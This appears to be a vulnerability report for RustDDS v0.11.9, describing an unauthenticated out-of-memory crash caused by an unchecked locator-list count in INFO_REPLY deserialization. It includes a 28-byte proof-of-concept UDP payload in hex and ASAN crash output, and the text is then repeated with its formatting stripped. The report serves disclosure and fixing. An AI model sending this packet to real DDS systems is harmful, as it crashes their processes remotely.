Summary
Component: src/messages/submessages/info_reply.rs
When RustDDS receives an INFO_REPLY RTPS submessage whose locator-list count field is set to a large value (using a fuzzing tools), it attempts to allocate an enormous Vec<Locator> without first validating whether the declared count is consistent with the remaining bytes in the packet. This causes an immediate out-of-memory abort, crashing the entire process.
The crash is reproducible with a single malformed UDP packet sent to any RustDDS participant. No prior connection or authentication is required.
Affected Version
- RustDDS: v0.11.9
- OS: Ubuntu 22.04 (Linux 6.8.0, x86_64)
- Compiler: Rust nightly with
-Zsanitizer=address
Root Cause
InfoReply derives speedy::Readable for CDR deserialization:
// src/messages/submessages/info_reply.rs
#[derive(Debug, PartialEq, Eq, Clone, Readable, Writable)]
pub struct InfoReply {
pub unicast_locator_list: Vec<Locator>,
pub multicast_locator_list: Option<Vec<Locator>>,
}
The speedy crate's auto-generated Readable implementation for Vec<T> reads a 4-byte u32 length prefix from the wire, then calls Vec::with_capacity(count as usize) without checking whether count × size_of::<Locator>() bytes are actually present in the remaining input buffer.
A crafted count field of 0x44209480 (1,143,275,648) causes an allocation attempt of:
1,143,275,648 × 64 bytes/Locator ≈ 73.9 GB
triggering an immediate OOM abort.
Proof of Concept
Minimal malformed UDP payload (28 bytes) that triggers the crash:
# RTPS packet with crafted INFO_REPLY submessage
# Send to DDS multicast/unicast port (e.g., UDP 7400)
52 54 50 53 # RTPS magic
02 04 # Protocol version 2.4
01 0F # Vendor ID
C0 A8 01 01 00 00 00 00 00 00 00 00 # GUID prefix (12 bytes)
# INFO_REPLY submessage (kind = 0x0F)
0F 01 # submessage ID + flags (little-endian)
04 00 # octetsToNextHeader = 4
80 94 20 44 # unicast_locator_list.count = 1,143,275,648 → OOM
Hex string:
5254505302040 10FC0A801010000000000000000 0F010400 80942044
Crash Output (ASAN)
[rustdds::rtps::message_receiver] RTPS deserialize error ...
==56694==ERROR: AddressSanitizer: out of memory: allocator is trying to allocate 0x12bf224020 bytes
#0 ___interceptor_malloc
#1 GlobalAlloc::alloc
#2 RawVec::with_capacity_in
#3 RawVec<Locator>::with_capacity_in ← allocating Vec<Locator>
#4 InfoReply::read_from ← speedy Readable impl
#5 InfoReply::read_with_length_from_buffer_with_ctx
... (RTPS background event loop thread T2)
==56694==ABORTING
The crash occurs in the RTPS background thread (T2), terminating the whole process.
Summary
Component:
src/messages/submessages/info_reply.rsWhen RustDDS receives an
INFO_REPLYRTPS submessage whose locator-list count field is set to a large value (using a fuzzing tools), it attempts to allocate an enormousVec<Locator>without first validating whether the declared count is consistent with the remaining bytes in the packet. This causes an immediate out-of-memory abort, crashing the entire process.The crash is reproducible with a single malformed UDP packet sent to any RustDDS participant. No prior connection or authentication is required.
Affected Version
-Zsanitizer=addressRoot Cause
InfoReplyderivesspeedy::Readablefor CDR deserialization:The
speedycrate's auto-generatedReadableimplementation forVec<T>reads a 4-byteu32length prefix from the wire, then callsVec::with_capacity(count as usize)without checking whethercount × size_of::<Locator>()bytes are actually present in the remaining input buffer.A crafted count field of
0x44209480(1,143,275,648) causes an allocation attempt of:triggering an immediate OOM abort.
Proof of Concept
Minimal malformed UDP payload (28 bytes) that triggers the crash:
Hex string:
Crash Output (ASAN)
The crash occurs in the RTPS background thread (T2), terminating the whole process.